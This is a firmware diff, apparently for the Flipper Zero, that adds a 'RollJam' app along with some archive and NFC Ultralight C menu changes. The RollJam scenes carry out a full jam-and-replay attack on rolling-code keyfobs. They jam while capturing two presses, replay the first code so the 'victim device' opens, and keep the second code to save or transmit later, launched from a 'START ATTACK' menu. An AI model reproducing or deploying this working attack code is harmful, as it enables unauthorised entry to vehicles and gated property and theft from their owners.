@@ -0,0 +1,126 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 1: JAM + CAPTURE first keyfob press
|
||||
// ============================================================
|
||||
|
||||
static void phase1_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_first.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_first)) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Starting...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
rolljam_jammer_start(app);
|
||||
furi_delay_ms(300);
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
if(app->jamming_active) {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
|
||||
} else {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "No ext jammer");
|
||||
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
|
||||
}
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Listening for keyfob");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 42, AlignCenter, AlignTop,
|
||||
FontPrimary, "PRESS KEYFOB NOW");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_blue_100);
|
||||
|
||||
FuriTimer* timer = furi_timer_alloc(
|
||||
phase1_timer_callback, FuriTimerTypePeriodic, app);
|
||||
furi_timer_start(timer, 300);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
if(!rolljam_signal_is_valid(&app->signal_first)) {
|
||||
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
(int)app->signal_first.size);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase1_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase1);
|
||||
if(timer) {
|
||||
furi_timer_stop(timer);
|
||||
furi_timer_free(timer);
|
||||
}
|
||||
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 2: JAM + CAPTURE second keyfob press
|
||||
// ============================================================
|
||||
|
||||
static void phase2_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_second.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_second)) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase2_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 2 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "1st code CAPTURED!");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Still jamming...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 42, AlignCenter, AlignTop,
|
||||
FontPrimary, "PRESS KEYFOB AGAIN");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_yellow_100);
|
||||
|
||||
FuriTimer* timer = furi_timer_alloc(
|
||||
phase2_timer_callback, FuriTimerTypePeriodic, app);
|
||||
furi_timer_start(timer, 300);
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
if(!rolljam_signal_is_valid(&app->signal_second)) {
|
||||
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
(int)app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase2_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
if(timer) {
|
||||
furi_timer_stop(timer);
|
||||
furi_timer_free(timer);
|
||||
}
|
||||
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_cc1101_ext.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 3: STOP jam + REPLAY first signal
|
||||
// The victim device opens. We keep the 2nd (newer) code.
|
||||
// ============================================================
|
||||
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 3 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 18, AlignCenter, AlignTop,
|
||||
FontSecondary, "Stopping jammer...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 32, AlignCenter, AlignTop,
|
||||
FontPrimary, "REPLAYING 1st CODE");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 48, AlignCenter, AlignTop,
|
||||
FontSecondary, "Target should open!");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_green_100);
|
||||
|
||||
rolljam_jammer_stop(app);
|
||||
|
||||
furi_delay_ms(1000);
|
||||
|
||||
rolljam_transmit_signal(app, &app->signal_first);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
furi_delay_ms(800);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventPhase3Done);
|
||||
}
|
||||
|
||||
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventPhase3Done) {
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneResult);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_attack_phase3_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
|
||||
/*
|
||||
* Scene configuration file.
|
||||
* Lists all scenes for the SceneManager.
|
||||
*
|
||||
* In some Flipper apps this uses ADD_SCENE macros.
|
||||
* We handle it manually via the handlers arrays in rolljam.c
|
||||
* so this file just documents the scene list.
|
||||
*
|
||||
* Scenes:
|
||||
* 0 - RollJamSceneMenu
|
||||
* 1 - RollJamSceneAttackPhase1
|
||||
* 2 - RollJamSceneAttackPhase2
|
||||
* 3 - RollJamSceneAttackPhase3
|
||||
* 4 - RollJamSceneResult
|
||||
*/
|
||||
@@ -0,0 +1,161 @@
|
||||
#include "rolljam_scene.h"
|
||||
|
||||
// ============================================================
|
||||
// Menu scene: select frequency, modulation, start attack
|
||||
// ============================================================
|
||||
|
||||
static uint8_t get_min_offset_index(uint8_t mod_index) {
|
||||
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
|
||||
return JamOffIndex_300k;
|
||||
}
|
||||
|
||||
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(app->jam_offset_index < min_idx) {
|
||||
app->jam_offset_index = min_idx;
|
||||
app->jam_offset_hz = jam_offset_values[min_idx];
|
||||
if(offset_item) {
|
||||
variable_item_set_current_value_index(offset_item, min_idx);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
|
||||
}
|
||||
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
|
||||
jam_offset_names[min_idx]);
|
||||
}
|
||||
}
|
||||
|
||||
static VariableItem* s_offset_item = NULL;
|
||||
|
||||
static void menu_freq_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->freq_index = index;
|
||||
app->frequency = freq_values[index];
|
||||
variable_item_set_current_value_text(item, freq_names[index]);
|
||||
}
|
||||
|
||||
static void menu_mod_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->mod_index = index;
|
||||
variable_item_set_current_value_text(item, mod_names[index]);
|
||||
|
||||
enforce_min_offset(app, s_offset_item);
|
||||
}
|
||||
|
||||
static void menu_jam_offset_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(index < min_idx) {
|
||||
index = min_idx;
|
||||
variable_item_set_current_value_index(item, index);
|
||||
}
|
||||
|
||||
app->jam_offset_index = index;
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
variable_item_set_current_value_text(item, jam_offset_names[index]);
|
||||
}
|
||||
|
||||
static void menu_hw_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->hw_index = index;
|
||||
variable_item_set_current_value_text(item, hw_names[index]);
|
||||
}
|
||||
|
||||
static void menu_enter_callback(void* context, uint32_t index) {
|
||||
RollJamApp* app = context;
|
||||
if(index == 4) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventStartAttack);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_menu_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
|
||||
// --- Frequency ---
|
||||
VariableItem* freq_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Frequency",
|
||||
FreqIndex_COUNT,
|
||||
menu_freq_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(freq_item, app->freq_index);
|
||||
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
|
||||
|
||||
// --- Modulation ---
|
||||
VariableItem* mod_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Modulation",
|
||||
ModIndex_COUNT,
|
||||
menu_mod_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(mod_item, app->mod_index);
|
||||
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
|
||||
|
||||
// --- Jam Offset ---
|
||||
VariableItem* offset_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Jam Offset",
|
||||
JamOffIndex_COUNT,
|
||||
menu_jam_offset_changed,
|
||||
app);
|
||||
|
||||
s_offset_item = offset_item;
|
||||
enforce_min_offset(app, offset_item);
|
||||
|
||||
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
|
||||
|
||||
// --- Hardware ---
|
||||
VariableItem* hw_item = variable_item_list_add(
|
||||
app->var_item_list,
|
||||
"Hardware",
|
||||
HwIndex_COUNT,
|
||||
menu_hw_changed,
|
||||
app);
|
||||
variable_item_set_current_value_index(hw_item, app->hw_index);
|
||||
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
|
||||
|
||||
// --- Start button ---
|
||||
variable_item_list_add(
|
||||
app->var_item_list,
|
||||
">> START ATTACK <<",
|
||||
0,
|
||||
NULL,
|
||||
app);
|
||||
|
||||
variable_item_list_set_enter_callback(
|
||||
app->var_item_list, menu_enter_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewVarItemList);
|
||||
}
|
||||
|
||||
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventStartAttack) {
|
||||
enforce_min_offset(app, NULL);
|
||||
|
||||
memset(&app->signal_first, 0, sizeof(RawSignal));
|
||||
memset(&app->signal_second, 0, sizeof(RawSignal));
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase1);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_menu_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
s_offset_item = NULL;
|
||||
variable_item_list_reset(app->var_item_list);
|
||||
}
|
||||
@@ -0,0 +1,110 @@
|
||||
#include "rolljam_scene.h"
|
||||
#include "../helpers/rolljam_receiver.h"
|
||||
|
||||
// ============================================================
|
||||
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
|
||||
// ============================================================
|
||||
|
||||
static void result_dialog_callback(DialogExResult result, void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(result == DialogExResultLeft) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSaveSignal);
|
||||
} else if(result == DialogExResultRight) {
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventReplayNow);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_scene_result_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
dialog_ex_reset(app->dialog_ex);
|
||||
|
||||
dialog_ex_set_header(
|
||||
app->dialog_ex, "Attack Complete!",
|
||||
64, 2, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_text(
|
||||
app->dialog_ex,
|
||||
"1st code: SENT to target\n"
|
||||
"2nd code: IN MEMORY\n\n"
|
||||
"What to do with 2nd?",
|
||||
64, 18, AlignCenter, AlignTop);
|
||||
|
||||
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
|
||||
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
|
||||
|
||||
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
|
||||
dialog_ex_set_context(app->dialog_ex, app);
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewDialogEx);
|
||||
}
|
||||
|
||||
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSaveSignal) {
|
||||
|
||||
rolljam_save_signal(app, &app->signal_second);
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Saved!",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup,
|
||||
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
popup_set_timeout(app->popup, 5000);
|
||||
popup_enable_timeout(app->popup);
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
return true;
|
||||
|
||||
} else if(event.event == RollJamEventReplayNow) {
|
||||
|
||||
popup_reset(app->popup);
|
||||
popup_set_header(
|
||||
app->popup, "Transmitting...",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup, "Sending 2nd code NOW",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewPopup);
|
||||
|
||||
rolljam_transmit_signal(app, &app->signal_second);
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
popup_set_header(
|
||||
app->popup, "Done!",
|
||||
64, 20, AlignCenter, AlignCenter);
|
||||
popup_set_text(
|
||||
app->popup,
|
||||
"2nd code transmitted!\n\nPress Back",
|
||||
64, 38, AlignCenter, AlignCenter);
|
||||
popup_set_timeout(app->popup, 5000);
|
||||
popup_enable_timeout(app->popup);
|
||||
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
app->scene_manager, RollJamSceneMenu);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void rolljam_scene_result_on_exit(void* context) {
|
||||
RollJamApp* app = context;
|
||||
dialog_ex_reset(app->dialog_ex);
|
||||
popup_reset(app->popup);
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
#include "rolljam_attack_view.h"
|
||||
#include <gui/canvas.h>
|
||||
|
||||
// ============================================================
|
||||
// Custom drawing for attack status
|
||||
// Reserved for future use with a custom View
|
||||
// Currently the app uses Widget modules instead
|
||||
// ============================================================
|
||||
|
||||
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
|
||||
canvas_clear(canvas);
|
||||
|
||||
// Title bar
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
|
||||
|
||||
// Separator
|
||||
canvas_draw_line(canvas, 0, 14, 128, 14);
|
||||
|
||||
// Status
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
|
||||
|
||||
// Indicators
|
||||
int y = 32;
|
||||
|
||||
if(state->jamming) {
|
||||
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
|
||||
// Animated dots could go here
|
||||
} else {
|
||||
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
|
||||
}
|
||||
y += 12;
|
||||
|
||||
if(state->capturing) {
|
||||
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
|
||||
} else {
|
||||
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
|
||||
}
|
||||
y += 12;
|
||||
|
||||
// Signal counter
|
||||
char buf[32];
|
||||
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
|
||||
canvas_draw_str(canvas, 4, y, buf);
|
||||
|
||||
// Footer
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
|
||||
#include "../rolljam.h"
|
||||
|
||||
/*
|
||||
* Custom view for attack visualization.
|
||||
* Currently the app uses Widget and DialogEx for display.
|
||||
* This file is reserved for a future custom canvas-drawn view
|
||||
* (e.g., signal waveform display, animated jamming indicator).
|
||||
*
|
||||
* For now it provides a simple status draw function.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
const char* phase_text;
|
||||
const char* status_text;
|
||||
bool jamming;
|
||||
bool capturing;
|
||||
int signal_count;
|
||||
} AttackViewState;
|
||||
|
||||
// Draw attack status on a canvas (for future custom View use)
|
||||
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
|
||||
@@ -8,6 +8,7 @@ App(
|
||||
"lfrfid",
|
||||
"nfc",
|
||||
"subghz",
|
||||
"rolljam",
|
||||
"subghz_bruteforcer",
|
||||
"archive",
|
||||
"subghz_remote",
|
||||
|
||||
@@ -30,11 +30,9 @@ static const char* const known_ext[] = {
|
||||
[ArchiveFileTypeBadUsb] = ".txt",
|
||||
[ArchiveFileTypeU2f] = "?",
|
||||
[ArchiveFileTypeApplication] = ".fap",
|
||||
[ArchiveFileTypeJS] = ".js",
|
||||
[ArchiveFileTypeUpdateManifest] = ".fuf",
|
||||
[ArchiveFileTypeFolder] = "?",
|
||||
[ArchiveFileTypeUnknown] = "*",
|
||||
[ArchiveFileTypeAppOrJs] = ".fap|.js",
|
||||
[ArchiveFileTypeSetting] = "?",
|
||||
};
|
||||
|
||||
@@ -47,7 +45,7 @@ static const ArchiveFileTypeEnum known_type[] = {
|
||||
[ArchiveTabInfrared] = ArchiveFileTypeInfrared,
|
||||
[ArchiveTabBadUsb] = ArchiveFileTypeBadUsb,
|
||||
[ArchiveTabU2f] = ArchiveFileTypeU2f,
|
||||
[ArchiveTabApplications] = ArchiveFileTypeAppOrJs,
|
||||
[ArchiveTabApplications] = ArchiveFileTypeApplication,
|
||||
[ArchiveTabInternal] = ArchiveFileTypeUnknown,
|
||||
[ArchiveTabBrowser] = ArchiveFileTypeUnknown,
|
||||
};
|
||||
|
||||
@@ -18,10 +18,8 @@ typedef enum {
|
||||
ArchiveFileTypeU2f,
|
||||
ArchiveFileTypeApplication,
|
||||
ArchiveFileTypeUpdateManifest,
|
||||
ArchiveFileTypeJS,
|
||||
ArchiveFileTypeFolder,
|
||||
ArchiveFileTypeUnknown,
|
||||
ArchiveFileTypeAppOrJs,
|
||||
ArchiveFileTypeSetting,
|
||||
ArchiveFileTypeLoading,
|
||||
} ArchiveFileTypeEnum;
|
||||
|
||||
@@ -29,8 +29,6 @@ static const char* archive_get_flipper_app_name(ArchiveFileTypeEnum file_type) {
|
||||
return "U2F";
|
||||
case ArchiveFileTypeUpdateManifest:
|
||||
return "UpdaterApp";
|
||||
case ArchiveFileTypeJS:
|
||||
return "JS Runner";
|
||||
case ArchiveFileTypeFolder:
|
||||
return "Archive";
|
||||
default:
|
||||
|
||||
@@ -36,8 +36,6 @@ static const Icon* ArchiveItemIcons[] = {
|
||||
[ArchiveFileTypeFolder] = &I_dir_10px,
|
||||
[ArchiveFileTypeUnknown] = &I_unknown_10px,
|
||||
[ArchiveFileTypeLoading] = &I_loading_10px,
|
||||
[ArchiveFileTypeJS] = &I_js_script_10px,
|
||||
[ArchiveFileTypeAppOrJs] = &I_unknown_10px,
|
||||
};
|
||||
|
||||
void archive_browser_set_callback(
|
||||
|
||||
@@ -14,7 +14,9 @@ enum {
|
||||
SubmenuIndexUnlock = SubmenuIndexCommonMax,
|
||||
SubmenuIndexUnlockByReader,
|
||||
SubmenuIndexUnlockByPassword,
|
||||
SubmenuIndexDictAttack
|
||||
SubmenuIndexDictAttack,
|
||||
SubmenuIndexWriteKeepKey, // ULC: write data pages, keep target card's existing key
|
||||
SubmenuIndexWriteCopyKey, // ULC: write all pages including key from source card
|
||||
};
|
||||
|
||||
enum {
|
||||
@@ -214,8 +216,26 @@ static void nfc_scene_read_and_saved_menu_on_enter_mf_ultralight(NfcApp* instanc
|
||||
if(is_locked ||
|
||||
(data->type != MfUltralightTypeNTAG213 && data->type != MfUltralightTypeNTAG215 &&
|
||||
data->type != MfUltralightTypeNTAG216 && data->type != MfUltralightTypeUL11 &&
|
||||
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin)) {
|
||||
data->type != MfUltralightTypeUL21 && data->type != MfUltralightTypeOrigin &&
|
||||
data->type != MfUltralightTypeMfulC)) {
|
||||
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
|
||||
} else if(data->type == MfUltralightTypeMfulC) {
|
||||
// Replace the generic Write item with two ULC-specific options so the user
|
||||
// can choose whether to keep or overwrite the target card's 3DES key.
|
||||
// This avoids any mid-write dialog/view-switching complexity entirely.
|
||||
submenu_remove_item(submenu, SubmenuIndexCommonWrite);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Write (Keep Key)",
|
||||
SubmenuIndexWriteKeepKey,
|
||||
nfc_protocol_support_common_submenu_callback,
|
||||
instance);
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Write (Copy Key)",
|
||||
SubmenuIndexWriteCopyKey,
|
||||
nfc_protocol_support_common_submenu_callback,
|
||||
instance);
|
||||
}
|
||||
|
||||
if(is_locked) {
|
||||
@@ -291,6 +311,14 @@ static bool nfc_scene_read_and_saved_menu_on_event_mf_ultralight(
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneMfUltralightCDictAttack);
|
||||
}
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexWriteKeepKey) {
|
||||
instance->mf_ultralight_c_write_context.copy_key = false;
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexWriteCopyKey) {
|
||||
instance->mf_ultralight_c_write_context.copy_key = true;
|
||||
scene_manager_next_scene(instance->scene_manager, NfcSceneWrite);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
return consumed;
|
||||
@@ -307,12 +335,139 @@ static NfcCommand
|
||||
if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestMode) {
|
||||
mf_ultralight_event->data->poller_mode = MfUltralightPollerModeWrite;
|
||||
furi_string_reset(instance->text_box_store);
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
